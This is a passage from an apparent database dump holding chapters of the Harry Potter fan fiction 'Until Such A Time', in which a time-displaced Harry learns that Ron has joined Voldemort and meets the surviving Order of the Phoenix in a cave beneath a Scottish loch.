enough presence of mind to carefully open the front door and\nclose it behind him without a sound. The wind had picked up outside; he had to\nfight to keep all of his body covered by the cloak. And, he found out, it\nprovided absolutely no warmth. <br>\n<br>\nHe started down the street; one of the reasons he and Hermione had chosen this\nlittle suburb to live in was that it retained an old-world charm that you just\ncouldn\'t find in the heart of London. People knew each others names and it\nwasn\'t because the town was mostly made up of wizarding families. Even the few\nMuggles were aware of the magical world. <br>\n<br>\nBut now, the houses on either side of the street were, for the most part,\nboarded up. Empty shells, some even burned. No children played in the street,\nno cars sat in driveways, no one was outside grilling steaks or discussing the\nlatest Chudley Cannons game over the fence with their neighbor. <br>\n<br>\nHarry swallowed. If this truly was the world that his death had created, what\ncould he possibly do now to undo so much damage? <br>\n<br>\nHe heard voices suddenly and almost stepped behind a tree before he remembered\nhis invisibility underneath the cloak. Instead of hiding, he turned around to\nlocate the source of the voices. With the sun almost completely set, it was impossible\nto make out faces on the shadowed figures that were walking down the street,\ngoing the way he had just come. But their conversation was impossible to miss.<br>\n<br>\n&quot;We\'ve searched this street so many times, sir. They\'re not here...no\none\'s here anymore.&quot;<br>\n<br>\n&quot;Oh, they\'re here. They\'re just hidden. Perhaps today will be our lucky\nday...&quot;<br>\n<br>\nHarry\'s entire body froze. The second voice...it was as unmistakable as\nHermione\'s had been. He blinked, not wanting to believe what his ears were\ntelling him. But the figures came closer and in the weak light, the face to\nmatch the voice materialized. <br>\n<br>\nRon walked towards him without seeing him; his robes were blacker than ink and\nbillowed around his feet like a clinging shadow of doom. His hair was the only\nbit of color he had on; even his eyes, once so brilliant and blue were now dark\nand so heavily set ahead of him that he wasn\'t even blinking. <br>\n<br>\nAnother man in black robes trailed along beside him. &quot;Sir, it\'s not a\nmatter of luck. It\'s...&quot;<br>\n<br>\n&quot;When I want your opinion...&quot; Ron stopped only long enough to grab up\nhis companion by his collar. &quot;...I\'ll let you know what it is. For\nnow...keep looking.&quot; <br>\n<br>\nThe man straightened his robes after Ron had released him and continued\nwalking. &quot;He\'s not going to be pleased that we\'re wasting our time here\nagain.&quot; <br>\n<br>\nA rush of air colder than the wind swept over Harry as Ron passed by him,\nmissing his arm by a matter of inches. &quot;On the off-chance that today might\nbe the day they let their guard down and we find them...I\'ll risk it.&quot; <br>\n<br>\nHarry followed them as quietly as possible, despite suddenly having trouble\nbreathing. What had happened to Hermione was bad; what appeared to be wrong\nwith Ron...was a thousand times worse. <br>\n<br>\nFinally, Ron and his companion stopped exactly where Harry feared they would.\nThe very house he had just left. To his eyes, it looked completely normal.\nSmoke rose from the chimney, there were lights on in almost every room. <br>\n<br>\nBut to the two men, &quot;Nothing, sir. As usual. Just a boarded-up waste of\nspace.&quot; The unidentified man kicked the side of the house. &quot;It\'s not\neven fit for rats to live in.&quot;<br>\n<br>\n&quot;Who\'s keeping your Secret, Hermione?&quot; Ron whispered, peering into\none window. &quot;When I find out...&quot; He chuckled. &quot;Oh...when I find\nout...&quot; He stepped away from the house. &quot;Let\'s report back. Lord\nVoldemort is waiting for us.&quot; <br>\n<br>\nHarry stood completely still, unable to move even if he had wanted to, until\nRon and the man Disapparated. When they had vanished, he sat down on the\nground, ignoring the cold grass. <br>\n<br>\nHe was dead. Hermione was wasting away. His child lived her life in hiding. And\nRon...his best friend...had gone to the other side. <br>\n<br>\nUnable to stop himself, he crawled out from under the cloak and lost the\ncontents of his stomach into a clump of nearby bushes. <br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(166, 3, '\n\n\n\n<p class="MsoNormal">Disclaimer: The usual stuff about characters not belonging\nto me. Old, but necessary. <br>\n<br>\nAuthor\'s Notes: I know not as many people are into this story as\n&quot;Organ&quot;, but it\'s all good. I\'m having fun telling it and I hope if\nyou\'re reading, you\'re having fun doing so as well. Take care, and thank you\nfor the reviews thus far!<br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;All right.&quot; With her foot, Emma pushed the door to her room open.\nBoth of her hands were occupied carrying a bowl, a plate, napkins and utensils\nand a glass in the crook of her arm. She shut the door the same way and smiled\nat Harry. &quot;It\'s beef stew and homemade bread. Mum\'s not the greatest cook\nin the world, but she...&quot;<br>\n<br>\nHe lifted his stony gaze from the spot on the floor on which it had been fixed\nsince he arrived back in his daughter\'s room. &quot;Tell me about Ron.&quot; <br>\n<br>\nShe paused as she set the bowl onto her dressing table. &quot;Do you want salt?\nI can run downstairs and grab the cellar if you...&quot;<br>\n<br>\n&quot;You promised me answers. Here\'s my question.&quot; Harry stood up and\napproached the girl. &quot;What\'s happened to Ron?&quot;<br>\n<br>\nEmma busied herself arranging her father\'s dinner dishes as she spoke.\n&quot;He\'s not one of us anymore.&quot;<br>\n<br>\n&quot;What does that mean?&quot; Harry pressed. He needed to hear her say the\nwords. <br>\n<br>\n&quot;He\'s...&quot; She spun around, his fork still in her hand. &quot;He\'s a\nDeath-Eater, Dad.&quot; After a moment of watching closely for his reaction,\nshe continued, &quot;That wasn\'t how I wanted to tell you. And you probably\ndon\'t believe me anyways. So...you\'ll probably want the whole story.&quot; <br>\n<br>\nHarry gave her a cool look and took the fork from her. Despite everything that\nwas happening, his stomach still called for attention. &quot;You talk.&quot; He\nsat at the dressing table. &quot;I\'ll eat.&quot; <br>\n<br>\n&quot;You\'re taking this rather well,&quot; Emma commented, puzzled. <br>\n<br>\n&quot;Let\'s just say...&quot; He swallowed a mouthful of stew. &quot;I saw\nsomething I shouldn\'t have.&quot; Harry took another bite. &quot;Tell me how it\ncame about. Imperius Curse? Brainwashing?&quot; <br>\n<br>\nEmma hesitated. &quot;None of the above.&quot; She sat on her bed and crossed\nher legs Indian-style. &quot;He went over of his own free will.&quot; <br>\n<br>\n&quot;I don\'t believe that,&quot; Harry replied simply. &quot;Not Ron.&quot; <br>\n<br>\n&quot;Yeah, well....it\'s a fucked up world.&quot; Her words were harsh.\n&quot;I\'ve never actually met him...but I\'ve seen his face pressed against our\nwindow more than once. You have to understand...&quot; She ran a hand through\nher hair. &quot;It all happened so fast. Your death, my birth, and before Mum\nhad even been released from the hospital, he was gone. His first assignment\nunder Voldemort was to deal with us. That\'s when we went into hiding.&quot;\nEmma took a breath. &quot;So...he\'s been trying to get us for eighteen years. I\nthink even Voldemort might have lost interest, but not Ron. It\'s some sort\nof...personal mission of his. Now do you see why there\'s dark circles under\nMum\'s eyes?&quot;<br>\n<br>\nHarry set down his fork and took a long sip of water. He had to keep performing\nthese little actions in order to keep from shutting down entirely. Every\ninstinct told him that the girl was wrong or lying...but he had seen for\nhimself, quite plainly, that her story was true. <br>\n<br>\nSwallowing, he tore off a piece of bread from the hunk she had brought him.\n&quot;Is that everything I need to know?&quot; <br>\n<br>\n&quot;What else do you *want* to know?&quot;<br>\n<br>\nHe bit into the bread. &quot;For starters...are all of my friends working for\nVoldemort now? Isn\'t there anyone trying to fight back? Or are they all\ndead?&quot; <br>\n<br>\nEmma pulled her knees up and tucked them under her chin. &quot;There\'s a small\nresistence. How do you think Mum and I survive? Our Secret-Keeper is one of\nthem...but I don\'t know who it is. Mum says it\'s safer that way.&quot; She\nscowled. &quot;I really ought to know. I\'m not a child anymore!&quot;<br>\n<br>\n&quot;I\'m sure she\'s just...just trying to protect you.&quot; The bread was\nlike a lump of dust in his mouth. He could only choke it down with the help of\na sip of water. &quot;Who\'s in the resistence?&quot;<br>\n<br>\n&quot;People...&quot; she hesitated. &quot;I was going to take you to them\ntomorrow.&quot; <br>\n<br>\nHarry choked. &quot;Do they know about your little...whatever it was you did to\nbring me here? What was it, anyway? Seems like pretty advanced magic for\nsomeone who\'s never had formal training.&quot; <br>\n<br>\n&quot;It\'s actually something I stumbled upon. A theory in one of Mum\'s books\nthat was never proven.&quot; Harry waited for her to go on. &quot;Basically, a\nspell that could send an enchanted item back in time to bring...&quot; She gave\nhim her mother\'s dazzling smile. &quot;The details aren\'t important; what\nmatters is that it worked.&quot;<br>\n<br>\n&quot;I\'d say the details are *very* important. When it comes time to send me\nback to my world, I expect them to be very important to you, too.&quot; He let\nthe matter slide for the time being as he finished eating. &quot;The only thing\nI still don\'t understand is what you expect me to do to change this world. It\nseems like anything I could do would only be a scratch on the surface.&quot; <br>\n<br>\nEmma fidgeted. &quot;Well, that\'s why I\'m taking you to the underground\ntomorrow. They\'ll know what to do, much better than I. Although...I didn\'t\nexactly do this with their blessings.&quot; A sheepish look skitted across her\npretty face. <br>\n<br>\nHarry set aside his napkin. &quot;Did you actually think *any* of this through,\nor did you just go ahead and do it?&quot;<br>\n<br>\n&quot;You know, everything I\'ve ever heard about you says that you have\nabsolutely no right to lecture to me...or anyone...about impetuousness! But to\nanswer your question, yes. I thought it through so much that I almost got sick\nof thinking about it. All my life, I\'ve wanted...&quot; The girl looked away\nfor a minute. &quot;I think that if you could defeat Voldemort, more people\nwould have the courage to fight back.&quot; <br>\n<br>\n&quot;He killed me,&quot; Harry replied shortly. &quot;What makes you think\nit\'ll be any different if I face him again?&quot;<br>\n<br>\nEmma looked back at him. &quot;Because this time...you\'ll be prepared. He won\'t\ncatch you off-guard again.&quot; She licked her lips. &quot;That\'s how it\nhappened. He rose without any forewarning...and you were the first person he\ncame after. He got you...&quot;<br>\n<br>\nHe held up a hand, silencing her. &quot;You were right. There are probably some\nthings I shouldn\'t know.&quot; Several minutes ticked by as father and daughter\nstudied each other. Finally, Harry said, &quot;You look so much like your\nmother.&quot; <br>\n<br>\n&quot;I know. Sometimes...&quot; She laughed bitterly. &quot;I used to wish\nthat I had favored you. Then at least I would have known what you looked like.\nMum...took down all the pictures of you a long time before I could become\ninterested in them. It hurts....she hurts when she thinks about you.&quot; Emma\nshrugged, but the careless motion was weighed down with emotion. &quot;She\'s\nnever healed.&quot; <br>\n<br>\n&quot;My Hermione...&quot; he whispered. &quot;This is a nightmare.&quot;<br>\n<br>\nHis daughter tucked her hair behind her ears. &quot;I\'m sorry...that I pulled\nyou out of your world. I know it\'s probably a million times better there.&quot;\nWith sharp movements, she jumped off the bed. &quot;You know what? Let\'s not\nwait until tomorrow.&quot;<br>\n<br>\n&quot;But...&quot;<br>\n<br>\n&quot;There\'s no point in delaying, right?&quot; Emma crossed her arms tightly\nacross her modest chest. &quot;The sooner we fix this world, the sooner you can\nget back to yours.&quot; She paused for a second. &quot;And away from\nthis...nightmare.&quot; <br>\n<br>\nFailing to pick up on the hurt in her words, Harry lifted his head. &quot;Let\'s\nget going then.&quot;<br>\n<br>\n****<br>\n<br>\nApparating to a remote loch in the Scottish highlands took only seconds; Harry\nwas more than a little impressed at Emma\'s ease with the advanced wizard skill.\nHermione had taught her...their daughter well. Someone had been looking after\nthe two women, he was also pleased to note. Emma had her own wand from\nOllivander\'s, although she had likely never been so much as allowed to step\nfoot into Diagon Alley. It must have taken a great deal of coordinated effort\nwith an even greater amount of love for his wife and child for someone to make\nsure that they weren\'t cut off from the world entirely. <br>\n<br>\nWhen they materialized on the edge of the deep lake, Emma gestured to the\nwater. &quot;I hope you\'re good at Bubble-Head charms.&quot;<br>\n<br>\n&quot;You mean...&quot; Harry groaned to himself. &quot;They\'re\nunderwater??&quot;<br>\n<br>\n&quot;Of course not. The entrance to the cave is underwater, that\'s all.&quot;\nThe girl pulled her wand from the inside pocket of her coat. &quot;Ready?&quot;\n<br>\n<br>\nFortunately, Harry remembered the charm from a recent raid on a manor house in\nWales that had an old-fashioned moat around it. With his own wand, he conjured\nthe charm around his head and when it was in place, hesitantly joined his\ndaughter in the cold lake. <br>\n<br>\nThey stood in waist-deep water, shivering for a minute. &quot;Just...follow...me,&quot;\nEmma instructed, her teeth chattering. With that, she let her whole body slip\nunder the glass surface of the loch. Harry took a deep breath, but then,\nremembered himself. Breathing normally, he ducked his head under the water. <br>\n<br>\nEmma was already several yards away, descending into deeper waters with clean\nbreast-strokes. Harry still wasn\'t all that great of a swimmer, but he managed\nto keep a decent pace behind her. There was little light at the depth at which\nthey leveled off and there was still a good hundred feet of water below them.\nHarry tried not to think about it, tried to keep focused on Emma\'s feet as they\nkicked in front of him. <br>\n<br>\nBut he couldn\'t ignore the sudden feeling that they were not alone in the\nwater. This fear was all-too concretely confirmed when he looked down and saw a\nmassive, dark green creature swimming at their pace directly beneath them. <br>\n<br>\nHis first instinct was to panic; Harry shot his arm out ahead of him on one of\nEmma\'s kicks and grabbed her slender ankle. She stopped swimming and shook off\nhis hand. Turning around, she faced him with a puzzled look. Harry pointed\ndown. <br>\n<br>\nAfter taking a look, Emma shook her head, releasing a stream of air bubbles\nfrom the protective shield around her head, and pointed to the direction they had\nbeen heading. Harry squinted; he could just make out the comforting sight of a\nstone wall. They had reached the caves. <br>\n<br>\nBeneath them, the creature turned around in circles, seemingly contented to\ntease the humans above. Emma reached for her father\'s hand and pulled him\nthrough the water, kicking for both of them. They reached the dark mouth of the\nunderwater cavern only a minute later. Harry let her pull him into it; he took\none look back at the lake. The creature was swimming away, its massive tail swaying\nbehind its girth. <br>\n<br>\nThe passage they entered was narrow and it took much concentrated effort to\nmaneuver through it. Harry followed Emma, suddenly grateful to be alive at all,\nwhether that be alive in his own world or this one. Alive. He swallowed. The\nentire reality of what the future had held in store for him had he stayed in\nhis own time hit him like a shockwave. She had said he died a week before she\nwas born. That meant he only would have had three weeks, give or take, to live.\n<br>\n<br>\nIt was a paralyzing thought. <br>\n<br>\nBut he had little time to think about it; in another minute, he and Emma\nemerged from the passageway. He could see light in the water above. They kicked\nfor it and broke the surface seconds later. <br>\n<br>\n&quot;What the bloody hell was that?&quot; he immediately demanded to know. His\nvoice echoed off the rounded cave ceiling. <br>\n<br>\nPaddling in the water, Emma smothered a laugh. &quot;I\'m sorry. I forgot all\nabout Ness.&quot; <br>\n<br>\n&quot;Ness?&quot; Harry blinked. &quot;You mean...Nessie? The Loch\nMonster?&quot;<br>\n<br>\nEmma nodded. &quot;But it\'s not actually a girl. So, it\'s Ness. Don\'t\nworry...he wouldn\'t harm anyone. Well, anyone who\'s welcome here, that\nis.&quot; She glanced around to get her bearings. &quot;Come on.&quot; She\nstarted a slow free stroke towards the cave wall. Harry sighed and followed her\nagain, through a dug-out hole in the wall just below the water line. They came\nout into another cave, fifty times larger than the one in which they had just\nbeen. <br>\n<br>\n&quot;The Order of the Phoenix,&quot; Emma said softly. &quot;Or...what\'s left\nof them.&quot; <br>\n<br>\nHarry looked around. There was dry land in this cave; along the water\'s edge\nthere were several clumps of hastily-erected tents. He could see the dancing\nshadows of fire mixed with the water\'s reflection on the walls, could smell\nfood being cooked, could hear low voices speaking to each other. <br>\n<br>\nHis daughter cleared her throat and moved her body in front of his as to hide\nhim. &quot;When is Bertie Bott going to make a loch-flavored bean?&quot; she\nasked as loud as possible. <br>\n<br>\n&quot;Hey everyone!&quot; a voice called out. &quot;Look who\'s come to\nvisit!&quot; <br>\n<br>\n&quot;Emma.&quot; Harry recognized the voice immediately. He closed his eyes,\nhoping it was true and not just wishful thinking on his part. &quot;What the\nbloody blazes are you doing here, child?&quot; <br>\n<br>\nEmma hesitated as she treaded water. &quot;I...brought a...a surprise. Okay, so\nthere really isn\'t any good way to do this.&quot; She kicked away from Harry. <br>\n<br>\nAll too suddenly exposed, Harry focused on the shore. There was only a handful\nof people gathering along it, but many of them were people he knew well. Hot\ntears mixed with the lake water on his cheeks. Fred (or George, he couldn\'t be\nsure), Percy, and Charlie Weasley. Neville Longbottom. Lavender Brown. Seamus\nFinnegan. Cho Chang. Hagrid. Remus Lupin. <br>\n<br>\nGasps. Shocked expressions on instantly pale faces. Tears. Soft cries. <br>\n<br>\n&quot;Harry.&quot; Lupin stepped forward, ignoring the fact that he was slowly\nwalking forwards. He put a hand to his mouth; his legs gave out and he dropped\nto his knees into the shallow water. &quot;Harry,&quot; he repeated. &quot;How?\nThis isn\'t...possible.&quot; <br>\n<br>\nThere was a tremendous splash as Hagrid dove into the water and waded out. He\ngrabbed Harry up into a bone-crushing hug. &quot;It\'s not poss\'ble...but \'ere\nhe is! \'arry...\'arry. We thoug\' we lost yer...&quot; <br>\n<br>\n&quot;We did.&quot; On the shore, Percy crossed his arms. &quot;Harry is dead.\nHarry has been dead...for a long time.&quot; His eyes narrowed slightly.\n&quot;This could be a trick. Emma, get out of the water before...&quot;<br>\n<br>\nFred, it was Fred, Harry decided, slapped his brother on the back much harder\nthan necessary. &quot;Don\'t scare her like that, you git.&quot; But he looked\nat the water, anxiously. &quot;Emma, love...why don\'t you just come up here\nanyways? Just in case?&quot; <br>\n<br>\nEmma shook her head. &quot;No, it\'s all right. He really is Harry...my father.\nI promise you it\'s not an illusion.&quot;<br>\n<br>\n&quot;But look at him,&quot; Seamus pointed out in his Irish drawl. &quot;He\nhasn\'t aged a bit. It can\'t be Harry.&quot; <br>\n<br>\n&quot;It *is* a trick!&quot; Lavender cried out. &quot;Voldemort\'s outdone\nhimself this time. Sweetie...&quot; She gestured to Emma. &quot;That is not\nyour father. Please, just come to us and we\'ll take care of everything.&quot;<br>\n<br>\nHarry was unable to speak up in his own defense; Hagrid\'s hug had turned into\none of restraint. He looked at Lupin; the older man was in the same position,\nstaring at him with blank eyes. Beside them, Emma began swimming towards the\nshore. &quot;No, you don\'t understand.&quot; When her feet touched solid\nground, she stood up. &quot;It\'s my father! It\'s just my father...from the\npast.&quot; <br>\n<br>\nNeville frowned. &quot;What do you mean?&quot;<br>\n<br>\nEmma wrung her hands, avoiding everyone\'s eyes. &quot;You remember that little\ntime-travel idea I had awhile back?&quot; She smiled as brightly as possible.\n&quot;Well, guess what? It worked!&quot; <br>\n<br>\nThe adults along the shore exchanged looks. &quot;Emma,&quot; Cho began\npatiently. &quot;We explained to you the problems....what could happen. What\ncould go wrong. We were rather firm if I remember correctly.&quot;<br>\n<br>\n&quot;Yes, but...&quot;<br>\n<br>\n&quot;You actually did it?&quot; Amazement shone in Charlie Weasley\'s eyes.\nCatching the angry glares he received, he coughed. &quot;How could you be so\nfoolish?&quot; he quickly added.<br>\n<br>\nEmma was crestfallen. &quot;But...you all always say, \'if only Harry were still\nalive.\'&quot; She glanced at each of the people who had played such a huge role\nin her life. One of them, she was one-hundred percent sure, was their\nSecret-Keeper. &quot;And now he is! He can help us...I mean, you.&quot; She\ntook a breath. &quot;I timed it so that I would get him a few weeks before the\nRising. He\'s my father...&quot; Emma bit her trembling lip. &quot;I just wanted\nto help.&quot; <br>\n<br>\n&quot;Of course you did.&quot; Lupin stood up, apparently recovered from his\ninitial shock. He waded further into the lake until he was only a few yards\naway from Hagrid and Harry and still able to stand. &quot;Harry...&quot; He\nshook his head of shaggy grey hair. &quot;It\'s like looking at a\npicture...&quot; <br>\n<br>\nHarry licked his lips. &quot;I can\'t even imagine what you\'re all\nthinking.&quot; He paused. &quot;Perhaps I can. This has been...trying for me,\ntoo. One minute I was digging through rubble with Ron...&quot; The reactions to\nthe name varied from dark looks to angry embarrassment. &quot;...and then next,\nI was here.&quot; He attempted to chuckle. &quot;Just...dead.&quot; <br>\n<br>\n&quot;You\'re here,&quot; Lupin repeated. &quot;I can\'t believe it.&quot; He\npushed out into the water, swam over to his best friend\'s son and grabbed him\nup. &quot;You\'re back. Thank god, Harry...you\'re back.&quot; <br>\n<br>\nOn the shore, Neville put his arm around Lavender\'s waist. &quot;You were\nsaying earlier that you wanted things to come to a head, love?&quot; He nodded\ntowards the water. &quot;I think we\'ve got the means now.&quot;<br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(166, 4, '\n\n\n\n<p class="MsoNormal">Disclaimer: Not mine.<br>\n<br>\nAuthor\'s Notes: Thank you for all the feedback! I\'m glad to see the story is\nliving up to &quot;Organ...&quot; and that people are enjoying it. I\'m going to\ngo ahead and say, I\'m totally not a Ron hater, despite my track record. I adore\nRon. I\'m not going say any more at the moment; I just wanted to lay that out on\nthe table. So...with that, enjoy this relatively short chapter! <br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Are you hungry, Harry?&quot; Lupin plucked the cast iron lid off a pot\nsituated over the fire he had going just outside the open flap of his tent.\n&quot;There\'s plenty here.&quot;<br>\n<br>\nHarry shook his head and pulled Hagrid\'s blanket closer around his wet body. He\nhad stripped down to his pants; the rest of his clothes lay nearby, drying.\n&quot;We ate at the house.&quot; <br>\n<br>\n&quot;The house,&quot; Lupin repeated. &quot;So...you\'ve seen Hermione,\nthen?&quot;<br>\n<br>\n&quot;From under the blissful invisibility of my father\'s cloak.&quot; He shook\nhis head. &quot;I think the last thing she needs is the shock of seeing\nme.&quot; Harry looked across the camp to where Cho and Lavender were fussing\nover Emma and her own soaked clothes. &quot;Fortunately, Emma agreed with me.\nShe\'s...stubborn. To say the least.&quot; <br>\n<br>\nServing himself a bowl of some sort of soup, Lupin laughed. &quot;I wonder who\nshe could have gotten that from? I\'ll tell you, Harry...&quot; He took a\nspoonful. &quot;She might look like Hermione, but she is entirely your\nchild.&quot; He lowered his spoon. &quot;Bloody fuck. I can\'t believe you\'re\nsitting across from me! It\'s like the past eighteen years just didn\'t\nhappen!&quot;<br>\n<br>\n&quot;*You* can\'t believe it? Try this on for size. Not only have I been sucked\ninto the future, I\'ve just found out exactly how I was supposed to have died\nand when and how the world goes to hell after it happens. Happened. I don\'t\neven know what tense to use!!&quot; Harry shook off the blanket in frustration.\n&quot;Remus...&quot; He ran a hand down his face. &quot;I saw Ron.&quot; <br>\n<br>\nThe man paused for a second. &quot;I\'m sorry.&quot; <br>\n<br>\n&quot;Why did he do it?&quot; <br>\n<br>\n&quot;Because...&quot; Lupin set his bowl aside. &quot;Man is an inherently\nweak creature.&quot;<br>\n<br>\n&quot;But Ron...Ron wasn\'t weak,&quot; Harry protested. <br>\n<br>\nHis old friend lifted his shoulders. &quot;Emma doesn\'t know the whole story,\nso whatever you\'ve heard is bound to be incomplete. But I\'ll tell you the\ntruth, Harry. Although god only knows what effect it might have on the natural\ntimeline.&quot;<br>\n<br>\n&quot;I think we\'re well beyond worrying about that at this point.&quot; <br>\n<br>\nLupin nodded his agreement. &quot;Ron did have one weakness. And if you\'ll\nthink really hard, I\'m sure you can think of what it...&quot;<br>\n<br>\n&quot;Women,&quot; Harry cut him off. &quot;He could never, ever say \'no\' to a\nwoman.&quot; <br>\n<br>\n&quot;And one \'no\' to one woman in particular would have been enough to save\nhis soul.&quot; <br>\n<br>\nHarry puzzled over this for a minute before his eyes grew wide. &quot;His\nSpanish fling? We just met her at dinner!&quot; <br>\n<br>\nLupin pulled at the stubble on his chin. &quot;It\'s...mad hearing you talk\nabout things as though they happened the other day.&quot;<br>\n<br>\n&quot;It *did* just happen the other day. At least, to me.&quot; Harry leaned\nforward on his knees. &quot;Are you saying...that girl was a Death-Eater?&quot;<br>\n<br>\n&quot;From a long line. Voldemort\'s reach extended far beyond the British\nIsles. He had followers in Spain, France, Bulgaria, America, Germany...the list\ngoes on. We later found out that the girl was from a long, pure-blooded line, a\nDark Arts practitioner *and*...&quot; He shook his head. &quot;...a\nhalf-Veela.&quot; <br>\n<br>\n&quot;Bloody hell,&quot; Harry breathed. &quot;Ron never stood a chance.&quot; <br>\n<br>\nLupin\'s expression grew dark. &quot;He still had a choice.&quot; <br>\n<br>\n&quot;Why is he so hell-bent on capturing Hermione and Emma?&quot; <br>\n<br>\n&quot;I really don\'t know. Frankly, I don\'t care either. All I\'m concerned\nabout is preventing it.&quot; Lupin picked up his dinner again. &quot;Since\nHermione won\'t relocate here where it\'s safe, it makes things a bit more\ndifficult, but it\'s certainly worth the effort.&quot; He ate a bite. &quot;She\nrefuses to abandon the house...the house that she lived in with you.&quot;<br>\n<br>\nHarry let his head hang for a second. &quot;Are you their Secret-Keeper?&quot;<br>\n<br>\n&quot;No.&quot; Lupin moved the spoon back and forth through the soup.\n&quot;It\'s someone who can be completely trusted, don\'t worry. It\'s not going\nto be another Wormtail.&quot; <br>\n<br>\n&quot;Of course I trust you. If all of this had to happen...I\'m glad you were\nhere for them. When I couldn\'t be.&quot; <br>\n<br>\nLupin cleared his throat. &quot;For many years, I wished I could have taken\ncare of you when James and Lily died. I wasn\'t about to sit around on my hands\nwhen your own wife and child needed me.&quot; <br>\n<br>\nSeveral moments passed as Lupin finished eating and Harry glanced around the\ncamp. In total, there were only about forty people in this resistence that he\ncould see and from the looks of things, they had all been living underground\nfor quite awhile. &quot;It\'s quite a set-up you have here,&quot; Harry\ncommented.<br>\n<br>\n&quot;It\'s Buckingham Palace compared to our last hiding place. Here we have\nwater for cleaning, at least.&quot; <br>\n<br>\n&quot;How do you keep in contact with the outside?&quot; <br>\n<br>\nLupin smiled. &quot;Obviously owls can\'t get in here; they leave letters in a\nrabbit burrow and we pick them up later. It\'s risky, of course. One of the main\nreasons we abandoned our last hold-out was that we were tracked. There are\nresistence members who live above ground still. George Weasley for one.&quot;\nHarry breathed a sigh of relief. &quot;I\'m sorry. You probably thought he\nwas...&quot;<br>\n<br>\n&quot;Yeah. I did.&quot; <br>\n<br>\n&quot;The truth is, splitting up the twins was just necessary. They attract too\nmuch attention together. Also, he looks after Mr. and Mrs. Weasley,&quot; the\nolder man explained. &quot;He brings us most of our supplies, every couple of\nweeks.&quot; He paused. &quot;Ron is a sore spot with the entire family.\nEspecially after Bill was killed in the initial fight. We didn\'t go underground\nwithout a fight.&quot; <br>\n<br>\n&quot;I never imagined you did.&quot; Harry turned his attention towards\ndaughter; she was wrapped up in warm clothes and sipping a cup of tea, laughing\nat something Fred Weasley was telling her. &quot;She\'s grown up in hell. But\nshe\'s amazing. She\'s everything I hoped she\'d be.&quot; He sniffed suddenly.\n&quot;I suppose that\'s all Hermione\'s doing.&quot; <br>\n<br>\n&quot;Hermione\'s a strong woman, there\'s no doubt about that. But your death,\nHarry...&quot; Lupin sighed. &quot;We\'ve never recovered. Any of us. It was\njust too sudden.&quot; <br>\n<br>\n&quot;So I\'ve been told,&quot; he replied. After a pause, he continued,\n&quot;Why am I here? I mean...I understand the basic of the physics behind it.\nBut Remus, wouldn\'t it make more sense for me to go back now, knowing what I\nknow? If I could stop Voldemort from ever rising...this entire world would be\ndifferent.&quot;<br>\n<br>\nLupin settled back against a rock, studying Harry carefully. &quot;Can\'t you\ntell, Harry? Can\'t you understand why she\'s done it this way?&quot; <br>\n<br>\n&quot;To have me help save this world,&quot; Harry said. &quot;Right?&quot;<br>\n<br>\n&quot;Partly, yes. She\'s barely eighteen; she\'s never had the luxury of being\nnaive, but she\'s still innocent enough to believe in miracles. But more than\nthat...&quot; He smiled sadly. &quot;She\'s only ever wanted to meet you. You\'re\nher father. Tell me...if you had the means to meet James...&quot; He trailed\noff, not needing to finish the question.<br>\n<br>\nHarry sighed, silently berating himself. &quot;Of course. I should have known.\nIt\'s just...it seems like there must have been a better way.&quot; <br>\n<br>\n&quot;Well, again, she\'s barely eighteen. She doesn\'t know everything. She\ndoesn\'t even know how to fly a broomstick. I\'m sure she could if she tried, but\nthere\'s no way. It\'s risky enough for her to step outside.&quot; <br>\n<br>\nDespite the situation, Harry let his jaw drop. &quot;Now there\'s all the reason\nI need to do whatever I can to fix things. A child of mine who can\'t fly...I\ncan\'t allow it.&quot; <br>\n<br>\nA moment of quiet thought passed. &quot;You know...as much as I\'d love to have\nyou stay, Harry,&quot; Lupin shook his hair away from his face. &quot;You\nreally don\'t belong here.&quot;<br>\n<br>\n&quot;I don\'t, no.&quot; The younger man lightly massaged his temple. &quot;My\nplace is in the past. I need to get back there.&quot; <br>\n<br>\n&quot;Then...&quot; Lupin stood and brushed off his tattered robes. &quot;We\nshould get it done as soon as possible. You might have already been missing for\na day in your time.&quot; Harry followed him, ignoring the fact that he was\nonly wearing pants. &quot;Emma!&quot; he called out to Harry\'s daughter.\n&quot;Emma...can we talk to you, love?&quot;<br>\n<br>\nFrowning, the girl handed her tea cup to Lavender and stood up as the two men\napproached. &quot;What\'s wrong?&quot;<br>\n<br>\n&quot;Emma, we\'ve been discussing the situation that you\'ve put Harry in,&quot;\nthe former Marauder began. &quot;And please don\'t think I\'m chastising you for\nwhat you did. Believe me...I understand.&quot; After giving her a warm smile,\nhe continued, &quot;However, you know as well as I that your father\'s\nhome...and the place where he can do the most good now...is not here.&quot; <br>\n<br>\nShe looked back and forth between them; her eyes were almost entirely liquid\ngreen as the realization of what he was saying set in. &quot;Is it really that\nawful being here?&quot; she finally asked Harry in a choked whisper. <br>\n<br>\n&quot;Don\'t think of that way,&quot; Harry told her, placing a gentle hand on\nher shoulder. The girl\'s chin wobbled at the sudden contact. It was the first\nfatherly touch she had ever known. &quot;Just imagine this. If I go back now\nand do what I can to prevent the Rising, everything you know here will be\ndifferent automatically. Isn\'t that what you want?&quot;<br>\n<br>\nEmma brushed away a tear. &quot;But if you stay here and help us...them fight,\nthen...&quot; She stopped. &quot;It\'s me, isn\'t it? You\'re uncomfortable around\nme; I can tell.&quot; <br>\n<br>\nBy this time, they had attracted a sympathetic audience. Percy came up behind\nEmma, patting her other shoulder like an older brother. &quot;Don\'t be\nsilly,&quot; he softly instructed her. &quot;You\'re a smart girl. You know what\nneeds to be done.&quot; <br>\n<br>\nShe shook her head. &quot;Do you know what I had to go through to get him here\nat all?&quot;<br>\n<br>\n&quot;No one\'s mad at you, Emma,&quot; Cho assured her. <br>\n<br>\n&quot;Then why are you all trying to punish me?!&quot; the girl cried. &quot;I\njust got him! I haven\'t even gotten to ask him all the things...&quot; She\nclapped a hand to her mouth. &quot;I didn\'t mean that! I swear...I didn\'t bring\nhim here just for me!!&quot; Her frantic gaze turned to Lupin. &quot;I wouldn\'t\nbe that selfish.&quot; <br>\n<br>\n&quot;You couldn\'t be selfish if you tried.&quot; He reached out to stroke her\ncheek. &quot;But you know that keeping him here...&quot;<br>\n<br>\n&quot;Would 